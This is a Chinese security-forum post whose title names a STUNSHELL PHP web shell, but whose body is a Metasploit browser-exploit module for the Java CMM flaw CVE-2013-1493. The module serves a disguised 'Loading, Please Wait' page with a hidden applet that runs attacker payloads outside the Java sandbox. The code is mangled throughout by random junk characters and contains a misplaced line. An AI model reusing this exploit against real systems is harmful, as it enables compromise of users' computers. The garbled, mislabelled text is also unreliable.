找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2162|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
- [9 e1 D5 J$ n) g
9 x& R6 i% d" _) z1 i# This file is part of the Metasploit Framework and may be subject to
( }" K7 n# d1 F! _! ?# redistribution and commercial restrictions. Please see the Metasploit% O4 Z- c$ J& Q+ b; W
# web site for more information on licensing and terms of use.! j; M# f" o& K6 r" ^% n7 j& A
# http://metasploit.com/
" M! I; ~4 f& k) R3 E! q' _##3 e( n# Q1 ?$ j1 G9 _
require ‘msf/core’
. a$ [6 e( J% l: X' Erequire ‘rex’/ K& l" W: V7 Q8 v' I
class Metasploit3 < Msf::Exploit::Remote
8 |) O( p" X5 \  l( \  aRank = NormalRanking
- G2 z  R0 r/ w6 y% J# @include Msf::Exploit::Remote::HttpServer::HTML
. L  w+ B9 V& y1 K! `& @  zinclude Msf::Exploit::EXE
6 ~1 f" V* e9 g7 f2 S, Sinclude Msf::Exploit::Remote::BrowserAutopwn$ l$ o( d1 u/ c1 K& X) q* j9 t
autopwn_info({ :javascript => false })* q/ `5 I1 o" z; n7 ]
def initialize( info = {} )  d" k+ c$ @* Q# q0 [) O
super( update_info( info,
, s) @5 i2 }8 c8 o& V. R! B‘Name’ => ‘Java CMM Remote Code Execution’,
" S' v7 d3 b1 H+ G! S* p" ]‘Description’ => %q{, p" z( A- Q. E: c. r  S
This module abuses the Color Management classes from a Java Applet to run7 W$ ?" C' F5 U* x8 Q
arbitrary Java code outside of the sandbox as exploited in the wild in February
* ^! _2 Z4 T' h" Xand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
, _7 ?+ q5 R' cand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1( W. ]' D" m8 H) w
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
# L) h) T3 ~& ewarning in order to run the malicious applet.
1 }6 Q1 K. V, _8 F' t$ ~},
4 r  }; F, a# F" R; a0 W‘License’ => MSF_LICENSE,
! m% g  h3 a! F‘Author’ =>  i) j4 }2 U2 h% u8 L
'Unknown', # Vulnerability discovery and Exploit/ ~- T6 l  h" {: }2 e. F
'juan vazquez' # Metasploit module (just ported the published exploit): }' w1 J# ?0 n2 X; n& Y
],$ o% T  E, g& A$ X+ n
‘References’ =>
" }+ b7 d0 L# a1 \9 M; }+ ]1 R4 r[
, A; w4 R8 L" s+ n9 h4 R7 W[ 'CVE', '2013-1493' ],
  |% b& i) B! H/ F& z[ 'OSVDB', '90737' ],
# k* |) S0 b: V1 c. R+ f/ j[ 'BID', '58238' ],0 O/ ?6 Z# M1 l3 b" S- C9 `8 ?$ K
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],2 @, T9 D- Q5 i# H
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
7 n! U$ P; s( n  H+ K[ 'URL', 'http://pastie.org/pastes/6581034' ]
) P2 u; ~# C; f],% ]7 g# d) G! h( `+ e
‘Platform’ => [ 'win', 'java' ],, t% h0 p* ^3 d/ P1 y
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },8 H  x+ B& Z0 o. f$ Y9 V
‘Targets’ =>
1 Y/ j9 Y% _& C  c8 T2 J[
- w6 g# l4 j2 {+ v[ 'Generic (Java Payload)',
+ ~! h- l8 K  T7 G7 ]8 G; M{
. P- M) i# |" G  l: U$ T'Platform' => 'java',
) G  m5 Z- d8 K+ B'Arch' => ARCH_JAVA
+ P3 t& ^. Q& P3 S% o}% Z0 \* U7 y; }3 K/ f( y5 a; e6 D
],
7 \+ L% \$ J# |* A' v0 e[ 'Windows x86 (Native Payload)',3 t) y: M! t; G$ t
{
$ {# f9 H/ ^7 F7 b'Platform' => 'win',7 u" O  P8 c! W
'Arch' => ARCH_X86
& j- k/ R5 E" `* a7 t2 f% Y}9 o; Z9 V9 E6 U% j5 J, Q' o
]6 u4 W/ r  c# W% m+ o) W1 T0 r5 }
],7 S9 a4 S, |: q$ W8 [
‘‘DisclosureDate’ => ‘Mar 01 2013′- n* W! G! Y8 o+ {' |+ n, l
))9 v2 N, a; p+ w2 F& J
end
( ^& p9 Y% Q& C* t" `/ A* o2 Tdef setup5 M# b  n, [+ W; I; ?+ ?2 E* m
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)( J' w6 G7 T, b/ l
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
0 S( M# D6 j6 W6 y  L+ g7 npath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)5 M+ C3 q# O2 T( r0 t* e8 T
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }5 s9 @+ L6 Z/ \0 b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
" B& ?6 X9 D' t* S3 m. m% x@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 Y: ?. O: q5 V3 W  p
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)' c+ h# j( A6 B/ V9 P9 H- q5 \
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }" s; e9 w, E# v( _# Y
@init_class_name = rand_text_alpha(“Init”.length)
9 S: m* b, y8 H% x8 v@init_class.gsub!(“Init”, @init_class_name)9 W$ q8 r4 ~( H/ Z1 x
super
! N0 d2 g! u/ P% g% h; }end
, b4 G7 k- Y% v& Z& \+ b4 n- m, [; Rdef on_request_uri(cli, request)
! Z& J( E9 n7 [7 ~! w, x7 q& Sprint_status(“handling request for #{request.uri}”)
9 {" g* Z, X! k- n4 R: bcase request.uri
( D! U0 z8 I6 i8 nwhen /\.jar$/i* q3 x- i# B* w; ?) X
jar = payload.encoded_jar; |3 y$ g$ x6 s. e# D" Q/ M! [) `$ t
jar.add_file(“#{@init_class_name}.class”, @init_class)
, \. }1 o7 S) Q- {" K) Djar.add_file(“Leak.class”, @leak_class)
+ S) T9 w' Z. X6 gjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
5 c% T' y+ K& K/ d, a, A5 n9 \2 sjar.add_file(“MyColorSpace.class”, @color_space_class)
: z, L. D. K" F* c! O, n0 [DefaultTarget’ => 1,. y+ v/ ?1 u' S- |: P' X
metasploit_str = rand_text_alpha(“metasploit”.length)& p8 B/ C& j! W2 x2 b/ s# b
payload_str = rand_text_alpha(“payload”.length)
8 `. E3 l/ C1 L7 wjar.entries.each { |entry|
) u9 ~$ m5 b$ d9 P  Q5 [entry.name.gsub!(“metasploit”, metasploit_str)
, ?2 H9 v( o" V! xentry.name.gsub!(“Payload”, payload_str)
; i: e! X; O* W& @  J3 o. Yentry.data = entry.data.gsub(“metasploit”, metasploit_str)
& |1 f2 z8 {- Y. b- R! j/ Xentry.data = entry.data.gsub(“Payload”, payload_str)
# e' ^4 ~8 G  Y$ }}( d/ O3 R/ R& F* q8 l
jar.build_manifest
" B/ z3 d9 L$ n  @3 Y: }! \send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
; [4 p; `3 g5 r3 {when /\/$/: V# p& A/ f. m7 V; [/ u( ]3 s- h
payload = regenerate_payload(cli)+ B" |: ~' w# x9 X5 W( j- K* X
if not payload, E( ^' y4 {2 n% t
print_error(“Failed to generate the payload.”)
1 |/ r2 j" S3 [, }+ }' l, O, b; Y) `send_not_found(cli)
8 n! v  O0 `! l/ jreturn
! h  h. X+ R, w/ Cend
# O$ {0 D1 I' G6 E  @/ W  ksend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
, s+ o$ G: r' w7 K# welse
# J8 w# O$ l9 y! Qsend_redirect(cli, get_resource() + ‘/’, ”)6 g+ Q& N8 q/ [; G& X2 M
end
0 I$ p/ A& Z9 d% ]! nend* c+ m8 Z$ i1 M4 Z: `
def generate_html
8 H; U8 d% c; Rhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
8 {; b; x$ {1 _4 x+ mhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|" Y! j. R: R7 u4 I( c; X
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|0 {! v0 S6 j3 X* ?  t
html += %Q|</applet></body></html>|3 Q  ]  y2 U7 Z2 k5 L
return html
9 M0 F* a4 c( Fend
: l( e( p! b& q: [0 Rend
- w1 D* A& ~1 Eend2 w9 _5 c" g( i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表